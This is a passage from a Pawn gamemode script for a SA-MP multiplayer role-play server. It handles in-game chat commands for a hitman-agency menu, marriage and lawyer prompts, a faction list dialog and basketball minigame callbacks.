			 case 5:{if(PINFO[playerid][pRank] < 3) { SCM(playerid,COLOR_SINA3,"You haven't enough rank."); return 0; } HitmanTofangPackage[playerid] = 5;}
			 case 6:{if(PINFO[playerid][pRank] < 4) { SCM(playerid,COLOR_SINA3,"You haven't enough rank."); return 0; } HitmanTofangPackage[playerid] = 6;}
			 case 7:{if(PINFO[playerid][pRank] < 4) { SCM(playerid,COLOR_SINA3,"You haven't enough rank."); return 0; } HitmanTofangPackage[playerid] = 7;}
		  }
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 58723;
		  SetPlayerCheckpoint(playerid,1073.211669,-344.768585,73.992187,3);
		  SCM(playerid,COLOR_HITMAN,"Go to the checkpoint to get your weapons.");
		  PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
		  return 0;
	   }
	   else if(!strcmp(cmd,"Ranks",true))
	   {
		  new teadad,StriLoL[2000],teadaddoroqi,strAli[500];
		  for(new i = 0;i<Akharish;i++)
		  {
			 if(IsPlayerConnected(i))
			 {
				if(PINFO[i][pMember] == 8 || PINFO[i][pLeader] == 8)
				{
					teadad ++;
					teadaddoroqi ++;
					if(teadaddoroqi > 10) {strcat(StriLoL,"\n\n",2000);teadaddoroqi = 0;}
					format(strAli,sizeof strAli,"Name: %s , Rank: %d  ",PINFO[i][pName],PINFO[i][pRank]);
					strcat(StriLoL,strAli,2000);
				}
			 }
		  }
		  ShowPlayerDialog(playerid,8432,DIALOG_STYLE_MSGBOX,"Hitman Agency Members",StriLoL,"OK","");
		  return 0;
	   }
	   else if(!strcmp(cmd,"Logout",true))
	   {
		  HLapTop[playerid] = false;
		  SCM(playerid,COLOR_HITMAN,"You have been disconnected from hitman agency server successfully.");
		  return 0;
	   }
	   else
	   {
		  SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}News {8E2323}- {FFFFFF}Displays News channel service");
		  SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}MyContract {8E2323}- {FFFFFF}Show your contract");
		  SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}Gethit {8E2323}- {FFFFFF}You can assign a contract with this");
		  SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}Leavehit {8E2323}- {FFFFFF}You can cancel your contract");
		  SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}Order {8E2323}- {FFFFFF}Order the weapons package according to your rank.");
		  SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}Ranks {8E2323}- {FFFFFF}Displays online members and their rank.");
		  SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}LOGOUT {8E2323}- {FFFFFF}Disconnect from Agency Server");
		  return 0;
	   }
	}


	if(MarriageCeremoney[playerid] > 0)
	{
	   new idx;
	   tmp = strtok(text, idx);
	   if ((strcmp("yes", tmp, true, strlen(tmp)) == 0) && (strlen(tmp) == strlen("yes")))
	   {
		  if(GotProposedBy[playerid] < INVALID_PLAYER_ID)
		  {
			 if(IsPlayerConnected(GotProposedBy[playerid]))
			 {
				GetPlayerName(playerid, sendername, sizeof(sendername));
				GetPlayerName(GotProposedBy[playerid], giveplayer, sizeof(giveplayer));
				format(string, sizeof(string), "Priest: %s do you take %s as your lovely Wife? (type 'yes', anything else will reject the Marriage).", giveplayer,sendername);
				SendMessage(GotProposedBy[playerid], COLOR_WHITE, string);
				MarriageCeremoney[GotProposedBy[playerid]] = 1;
				MarriageCeremoney[playerid] = 0;
				GotProposedBy[playerid] = INVALID_PLAYER_ID;
			 }
			 else
			 {
				MarriageCeremoney[playerid] = 0;
				GotProposedBy[playerid] = INVALID_PLAYER_ID;
				return 0;
			 }
		  }
		  else if(ProposedTo[playerid] < INVALID_PLAYER_ID)
		  {
			 if(IsPlayerConnected(ProposedTo[playerid]))
			 {
				GetPlayerName(playerid, sendername, sizeof(sendername));
				GetPlayerName(ProposedTo[playerid], giveplayer, sizeof(giveplayer));
				if(PlayerInfo[playerid][pSex] == 1 && PlayerInfo[ProposedTo[playerid]][pSex] == 2)
				{
					format(string, sizeof(string), "Priest: %s and %s i pronounce you now...Husband & Wife, you may kiss the Bride.", sendername, giveplayer);
					SendMessage(playerid, COLOR_WHITE, string);
					format(string, sizeof(string), "Priest: %s and %s i pronounce you now...Husband & Wife, you may kiss the Groom.", giveplayer, sendername);
					SendMessage(ProposedTo[playerid], COLOR_WHITE, string);
					format(string, sizeof(string), "Marriage News: We have a new lovely couple, %s & %s have been married.", sendername, giveplayer);
					OOCNews(COLOR_WHITE, string);
				}
				else if(PlayerInfo[playerid][pSex] == 1 && PlayerInfo[ProposedTo[playerid]][pSex] == 1)
				{
					format(string, sizeof(string), "Priest: %s and %s i pronounce you now...Husband & Husband, you may kiss the Bride.", sendername, giveplayer);
					SendMessage(playerid, COLOR_WHITE, string);
					format(string, sizeof(string), "Priest: %s and %s i pronounce you now...Husband & Husband, you may kiss the Groom.", giveplayer, sendername);
					SendMessage(ProposedTo[playerid], COLOR_WHITE, string);
					format(string, sizeof(string), "Marriage News: We have a new Gay couple, %s & %s have been married.", sendername, giveplayer);
					OOCNews(COLOR_WHITE, string);
				}
				else if(PlayerInfo[playerid][pSex] == 2 && PlayerInfo[ProposedTo[playerid]][pSex] == 2)
				{
					format(string, sizeof(string), "Priest: %s and %s i pronounce you now...Wife & Wife, you may kiss the Bride.", sendername, giveplayer);
					SendMessage(playerid, COLOR_WHITE, string);
					format(string, sizeof(string), "Priest: %s and %s i pronounce you now...Wife & Wife, you may kiss the Groom.", giveplayer, sendername);
					SendMessage(ProposedTo[playerid], COLOR_WHITE, string);
					format(string, sizeof(string), "Marriage News: We have a new Lesbian couple, %s & %s have been married.", sendername, giveplayer);
					OOCNews(COLOR_WHITE, string);
				}
				//MarriageCeremoney[ProposedTo[playerid]] = 1;
				MarriageCeremoney[ProposedTo[playerid]] = 0;
				MarriageCeremoney[playerid] = 0;
				format(string, sizeof(string), "%s", sendername);
				strmid(PlayerInfo[ProposedTo[playerid]][pMarriedTo], string, 0, strlen(string), 255);
				SaveKonStr(ProposedTo[playerid], "pMarriedTo", string);
				format(string, sizeof(string), "%s", giveplayer);
				strmid(PlayerInfo[playerid][pMarriedTo], string, 0, strlen(string), 255);
				SaveKonStr(playerid, "pMarriedTo", string);
				GivePlayerPool(playerid, - 1000);
//                  PlayerInfo[ProposedTo[playerid]][pPhousekey] = PlayerInfo[playerid][pPhousekey];
//                  PlayerInfo[ProposedTo[playerid]][pPbiskey] = PlayerInfo[playerid][pPbiskey];
				ProposedTo[playerid] = INVALID_PLAYER_ID;
				MarriageCeremoney[playerid] = 0;
			 }
			 else
			 {
				MarriageCeremoney[playerid] = 0;
				ProposedTo[playerid] = INVALID_PLAYER_ID;
				return 0;
			 }
		  }
	   }
	   else
	   {
		  if(GotProposedBy[playerid] < INVALID_PLAYER_ID)
		  {
			 if(IsPlayerConnected(GotProposedBy[playerid]))
			 {
				GetPlayerName(playerid, sendername, sizeof(sendername));
				GetPlayerName(GotProposedBy[playerid], giveplayer, sizeof(giveplayer));
				format(string, sizeof(string), "* You didn't want to Marry %s, no 'yes' was said.",giveplayer);
				SendMessage(playerid, COLOR_YELLOW, string);
				format(string, sizeof(string), "* %s did't want to Marry you, no 'yes' was said.",sendername);
				SendMessage(GotProposedBy[playerid], COLOR_YELLOW, string);
				return 0;
			 }
			 else
			 {
				MarriageCeremoney[playerid] = 0;
				GotProposedBy[playerid] = INVALID_PLAYER_ID;
				return 0;
			 }
		  }
		  else if(ProposedTo[playerid] < INVALID_PLAYER_ID)
		  {
			 if(IsPlayerConnected(ProposedTo[playerid]))
			 {
				GetPlayerName(playerid, sendername, sizeof(sendername));
				GetPlayerName(ProposedTo[playerid], giveplayer, sizeof(giveplayer));
				format(string, sizeof(string), "* You didn't want to Marry %s, no 'yes' was said.",giveplayer);
				SendMessage(playerid, COLOR_YELLOW, string);
				format(string, sizeof(string), "* %s did't want to Marry you, no 'yes' was said.",sendername);
				SendMessage(ProposedTo[playerid], COLOR_YELLOW, string);
				return 0;
			 }
			 else
			 {
				MarriageCeremoney[playerid] = 0;
				ProposedTo[playerid] = INVALID_PLAYER_ID;
				return 0;
			 }
		  }
	   }
	   return 0;
	}


	if(CallLawyer[playerid] == 111)
	{
	   new idx;
	   tmp = strtok(text, idx);
	   if ((strcmp("yes", tmp, true, strlen(tmp)) == 0) && (strlen(tmp) == strlen("yes")))
	   {
		  GetPlayerName(playerid, sendername, sizeof(sendername));
		  format(string, sizeof(string), "** %s is in Jail, and needs a Lawyer. Go to the Police Station.", sendername);
		  SendJobMessage(2, TEAM_AZTECAS_COLOR, string);
		  SendJobMessage(2, TEAM_AZTECAS_COLOR, "* When you are at the Police Station, ask an Officer to approve you with /[acc]ept lawyer.");
		  SendMessage(playerid, COLOR_LIGHTRED, "A message has been sent to all available Lawyers, please wait.");
		  WantLawyer[playerid] = 0;
		  CallLawyer[playerid] = 0;
		  return 0;
	   }
	   else
	   {
		  SendMessage(playerid, COLOR_LIGHTRED, "There is no Lawyer available to you anymore.");
		  WantLawyer[playerid] = 0;
		  CallLawyer[playerid] = 0;
		  return 0;
	   }
	}


	if (realchat)
	{
	   if(gPlayerLogged[playerid] == 0)
	   {
		  return 0;
	   }
	   new strchat[512];

	   GetPlayerName(playerid, sendername, sizeof(sendername));
	   if(PINFO[playerid][pCChat] == 0)// Mamooli
	   {
	   format(strchat, sizeof(strchat), "%s Says: %s", sendername, text);
	   ProxDetector(20.0, playerid, strchat,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
		}
		
		if(PINFO[playerid][pCChat] == 1)// Ghermez
	   {
	   format(strchat, sizeof(strchat), "%s Says: %s", sendername, text);
	   TESTING(playerid,text,"{FF0000}",1);
	   }
	   
		if(PINFO[playerid][pCChat] == 2)// Zard
	   {
	   format(strchat, sizeof(strchat), "%s Says: %s", sendername, text);
	   TESTING(playerid,text,"{FFFF00}",1);
	   }
	   
		if(PINFO[playerid][pCChat] == 3)// Banafsh
	   {
	   format(strchat, sizeof(strchat), "%s Says: %s", sendername, text);
	   TESTING(playerid,text,"{FF00FF}",1);
	   }
	   
		if(PINFO[playerid][pCChat] == 4)// Abi
	   {
	   format(strchat, sizeof(strchat), "%s Says: %s", sendername, text);
	   TESTING(playerid,text,"{00FFFF}",1);
	   }
	   
		if(PINFO[playerid][pCChat] == 5)// Sabz
	   {
	   format(strchat, sizeof(strchat), "%s Says: %s", sendername, text);
	   TESTING(playerid,text,"{00FF00}",1);
	   }


	   return 0;
	}
	return 0;
}


public FixHour(hour)
{
	hour = timeshift+hour;
	if (hour < 0)
	{
	   hour = hour+24;
	}
	else if (hour > 23)
	{
	   hour = hour-24;
	}
	shifthour = hour;
	return 1;
}

public IsPlayerInArea(playerid, Float:minx, Float:maxx, Float:miny, Float:maxy)
{
	new Float:x, Float:y, Float:z;
	GetPlayerPos(playerid, x, y, z);
	if (x > minx && x < maxx && y > miny && y < maxy) return 1;
	return 0;
}
stock IsPlayerFacingPoint(playerid, Float:dOffset, Float:pX, Float:pY, Float:pZ)
{
	   #pragma unused pZ
	   new
			 Float:X,
			 Float:Y,
			 Float:Z,
			 Float:pA,
			 Float:ang;

	   if(!IsPlayerConnected(playerid)) return 0;

	   GetPlayerPos(playerid, X, Y, Z);
	   GetPlayerFacingAngle(playerid, pA);

	   if( Y > pY ) ang = (-acos((X - pX) / floatsqroot((X - pX)*(X - pX) + (Y - pY)*(Y - pY))) - 90.0);
	   else if( Y < pY && X < pX ) ang = (acos((X - pX) / floatsqroot((X - pX)*(X - pX) + (Y - pY)*(Y - pY))) - 450.0);
	   else if( Y < pY ) ang = (acos((X - pX) / floatsqroot((X - pX)*(X - pX) + (Y - pY)*(Y - pY))) - 90.0);

	   if(AngleInRangeOfAngle(-ang, pA, dOffset)) return true;

	   return false;

}stock IsPlayerFacingPlayer(playerid, targetid, Float:dOffset)
{

	   new
			 Float:pX,
			 Float:pY,
			 Float:pZ,
			 Float:pA,
			 Float:X,
			 Float:Y,
			 Float:Z,
			 Float:ang;

	   if(!IsPlayerConnected(playerid) || !IsPlayerConnected(targetid)) return 0;

	   GetPlayerPos(targetid, pX, pY, pZ);
	   GetPlayerPos(playerid, X, Y, Z);
	   GetPlayerFacingAngle(playerid, pA);

	   if( Y > pY ) ang = (-acos((X - pX) / floatsqroot((X - pX)*(X - pX) + (Y - pY)*(Y - pY))) - 90.0);
	   else if( Y < pY && X < pX ) ang = (acos((X - pX) / floatsqroot((X - pX)*(X - pX) + (Y - pY)*(Y - pY))) - 450.0);
	   else if( Y < pY ) ang = (acos((X - pX) / floatsqroot((X - pX)*(X - pX) + (Y - pY)*(Y - pY))) - 90.0);

	   if(AngleInRangeOfAngle(-ang, pA, dOffset)) return true;

	   return false;

}
stock GetFactionMembers(fid)
{
	new string[128],
	Cache: Result,
	Get[2];
	format(string, sizeof(string), "SELECT `pMember` FROM `users` WHERE `pMember` = %d", fid+1);
    Result = mysql_query(handle, string);
    cache_get_data(Get[0], Get[1], handle);
    cache_delete(Result);
	return Get[0];
}
stock ShowFactions(playerid)
{
	new stringz2[2054];
	if(DynamicFactions[0][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(0), DynamicFactions[0][fMaxMembers], GetFacName(1), (DynamicFactions[0][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[0][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(0), DynamicFactions[0][fMaxMembers], GetFacName(1), (DynamicFactions[0][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[0][fMinLevel]);
	}
	if(DynamicFactions[1][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(1), DynamicFactions[1][fMaxMembers], GetFacName(2), (DynamicFactions[1][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[1][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(1), DynamicFactions[1][fMaxMembers], GetFacName(2), (DynamicFactions[1][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[1][fMinLevel]);
	}
	if(DynamicFactions[2][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(2), DynamicFactions[2][fMaxMembers], GetFacName(3), (DynamicFactions[2][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[2][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(2), DynamicFactions[2][fMaxMembers], GetFacName(3), (DynamicFactions[2][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[2][fMinLevel]);
	}
	if(DynamicFactions[3][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(3), DynamicFactions[3][fMaxMembers], GetFacName(4), (DynamicFactions[3][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[3][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(3), DynamicFactions[3][fMaxMembers], GetFacName(4), (DynamicFactions[3][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[3][fMinLevel]);
	}
	if(DynamicFactions[4][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(4), DynamicFactions[4][fMaxMembers], GetFacName(5), (DynamicFactions[4][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[4][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(4), DynamicFactions[4][fMaxMembers], GetFacName(5), (DynamicFactions[4][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[4][fMinLevel]);
	}
	if(DynamicFactions[5][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(5), DynamicFactions[5][fMaxMembers], GetFacName(6), (DynamicFactions[5][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[5][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(5), DynamicFactions[5][fMaxMembers], GetFacName(6), (DynamicFactions[5][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[5][fMinLevel]);
	}
	if(DynamicFactions[6][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(6), DynamicFactions[6][fMaxMembers], GetFacName(7), (DynamicFactions[6][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[6][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(6), DynamicFactions[6][fMaxMembers], GetFacName(7), (DynamicFactions[6][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[6][fMinLevel]);
	}
	if(DynamicFactions[7][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(7), DynamicFactions[7][fMaxMembers], GetFacName(8), (DynamicFactions[7][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[7][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(7), DynamicFactions[7][fMaxMembers], GetFacName(8), (DynamicFactions[7][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[7][fMinLevel]);
	}
	if(DynamicFactions[8][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(8), DynamicFactions[8][fMaxMembers], GetFacName(9), (DynamicFactions[8][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[8][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(8), DynamicFactions[8][fMaxMembers], GetFacName(9), (DynamicFactions[8][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[8][fMinLevel]);
	}
	if(DynamicFactions[9][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(9), DynamicFactions[9][fMaxMembers], GetFacName(10), (DynamicFactions[9][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[9][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(9), DynamicFactions[9][fMaxMembers], GetFacName(10), (DynamicFactions[9][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[9][fMinLevel]);
	}
	if(DynamicFactions[10][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(10), DynamicFactions[10][fMaxMembers], GetFacName(11), (DynamicFactions[10][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[10][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(10), DynamicFactions[10][fMaxMembers], GetFacName(11), (DynamicFactions[10][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[10][fMinLevel]);
	}
	if(DynamicFactions[11][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(11), DynamicFactions[11][fMaxMembers], GetFacName(12), (DynamicFactions[11][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[11][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(11), DynamicFactions[11][fMaxMembers], GetFacName(12), (DynamicFactions[11][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[11][fMinLevel]);
	}
	if(DynamicFactions[12][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(12), DynamicFactions[12][fMaxMembers], GetFacName(13), (DynamicFactions[12][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[12][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(12), DynamicFactions[12][fMaxMembers], GetFacName(13), (DynamicFactions[12][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[12][fMinLevel]);
	}
	if(DynamicFactions[13][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(13), DynamicFactions[13][fMaxMembers], GetFacName(14), (DynamicFactions[13][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[13][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(13), DynamicFactions[13][fMaxMembers], GetFacName(14), (DynamicFactions[13][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[13][fMinLevel]);
	}
	if(DynamicFactions[14][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(14), DynamicFactions[14][fMaxMembers], GetFacName(15), (DynamicFactions[14][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[14][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(14), DynamicFactions[14][fMaxMembers], GetFacName(15), (DynamicFactions[14][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[14][fMinLevel]);
	}
	if(DynamicFactions[15][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(15), DynamicFactions[15][fMaxMembers], GetFacName(16), (DynamicFactions[15][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[15][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(15), DynamicFactions[15][fMaxMembers], GetFacName(16), (DynamicFactions[15][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[15][fMinLevel]);
	}
	if(DynamicFactions[16][fApplication] > 0)
  	{
		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{00FF00}[ON]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(16), DynamicFactions[16][fMaxMembers], GetFacName(17), (DynamicFactions[16][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[16][fMinLevel]);
	}
	else
	{
 		format(stringz2, sizeof(stringz2),"%s{FFFFFF}[%d/%d]\t\t%s\t\t\t{FF0000}[OFF]{FFFFFF}\t\t[%s%d]\n",stringz2, GetFactionMembers(16), DynamicFactions[16][fMaxMembers], GetFacName(17), (DynamicFactions[16][fMinLevel] < 10) ? ("0") : (""), DynamicFactions[16][fMinLevel]);
	}
	ShowPlayerDialog(playerid, DIALOG_FACTIONS, DIALOG_STYLE_LIST,"MEMBERS            FACTION NAME                  LOCK STATUS          LEVEL", stringz2, "Select", "Close");
	return 1;
}
stock AngleInRangeOfAngle(Float:a1, Float:a2, Float:range)
{

	   a1 -= a2;
	   if((a1 < range) && (a1 > -range)) return true;

	   return false;

}

forward BallDown(playerid, Float:oldz);
public BallDown(playerid, Float:oldz)
{
	new Float:x, Float:y, Float:z;
	   GetDynamicObjectPos(Ball, x, y, z);
	   new Float:a;
	   new Float:x2, Float:y2;
	   GetPlayerPos(playerid, x2, y2, a);
	   GetPlayerFacingAngle(playerid, a);
	   x2 += (16 * floatsin(-a, degrees));
	   y2 += (16 * floatcos(-a, degrees));
	   MoveDynamicObject(Ball, x2, y2, oldz-0.8, 10.0+random(3));
	  // Baller = 999;
	   //ShootingBall = 0;
	  // BallBounce = 1;
	   return 1;
}

forward BallDown2(playerid);
public BallDown2(playerid)
{
	   MoveDynamicObject(Ball, 2795.5237,-2019.6152,13.5547-0.8, 10.0+random(3));
	  // Baller = 999;
	   //ShootingBall = 0;
	   GameTextForPlayer(playerid, "~g~Oh , Yes!", 3000, 3);
		BasketScore[playerid] += 1;
	  // BallBounce = 1;
		if(BasketScore[playerid] > BasketScoreWin) {

		 BasketScoreWin = BasketScore[playerid];
		 BasketLeader = playerid;
		 new name[128];
		 GetPlayerName(playerid, name, sizeof(name));
		 for(new i = 0;i < Akharish;i++) {
		 new string[512];
		 format(string, sizeof(string), "BasketBall lead score is for %s by %i score", name, BasketScoreWin);
		 SendMessage(i, COLOR_LIGHTRED, string);
		 }
		 }
	   return 1;
}

forward BallDown3(playerid);
public BallDown3(playerid)
{
	   MoveDynamicObject(Ball, 2768.3669,-2019.6644,13.5547-0.8, 10.0+random(3));
	  // Baller = 999;
	   //ShootingBall = 0;
	   GameTextForPlayer(playerid, "~g~Oh , Yes!", 3000, 3);
		BasketScore[playerid] += 1;
	  // BallBounce = 1;

		 if(BasketScore[playerid] > BasketScoreWin) {

		 BasketScoreWin = BasketScore[playerid];
		 BasketLeader = playerid;
		 new name[128];
		 GetPlayerName(playerid, name, sizeof(name));
		 for(new i = 0;i < Akharish;i++) {
		 new string[512];
		 format(string, sizeof(string), "BasketBall lead score is for %s by %i score", name, BasketScoreWin);
		 SendMessage(i, COLOR_LIGHTRED, string);
		 }
		 }

	   return 1;
}

forward BallDown4(playerid);
public BallDown4(playerid)
{
	   MoveDynamicObject(Ball, 2795.5237+random(5),-2019.6152+random(5),13.5547-0.8, 10.0+random(3));
	  // Baller = 999;
	   //ShootingBall = 0;
	   GameTextForPlayer(playerid, "~r~Oh , Sorry!", 3000, 3);
		BasketScore[playerid] -= 1;
	  // BallBounce = 1;


	   return 1;
}

forward BallDown5(playerid);
public BallDown5(playerid)
{
	   MoveDynamicObject(Ball, 2768.3669+random(5),-2019.6644+random(5),13.5547-0.8, 10.0+random(3));
	  // Baller = 999;
	   //ShootingBall = 0;
	   GameTextForPlayer(playerid, "~r~Oh , Sorry!", 3000, 3);
		BasketScore[playerid] += 1;
	   //BallBounce = 1;
	   return 1;
}

forward ShootMiss(playerid);
public ShootMiss(playerid)
{
	   MoveDynamicObject(Ball, 2794.9612+random(2), -2019.5415+random(2), 15.5075+random(2), 12.5+random(4));
	   LoopingAnim(playerid,"BSKTBALL","BBALL_Jump_Shot",4.0,0,0,0,0,0);
	  // ShootingBall = 4;
	   HavingBall[playerid] = 0;
	   return 1;
}

forward ShootMiss2(playerid);
public ShootMiss2(playerid)
{
	   MoveDynamicObject(Ball, 2768.6289+random(2),-2019.7227+random(2),15.6287+random(2), 12.5+random(4));
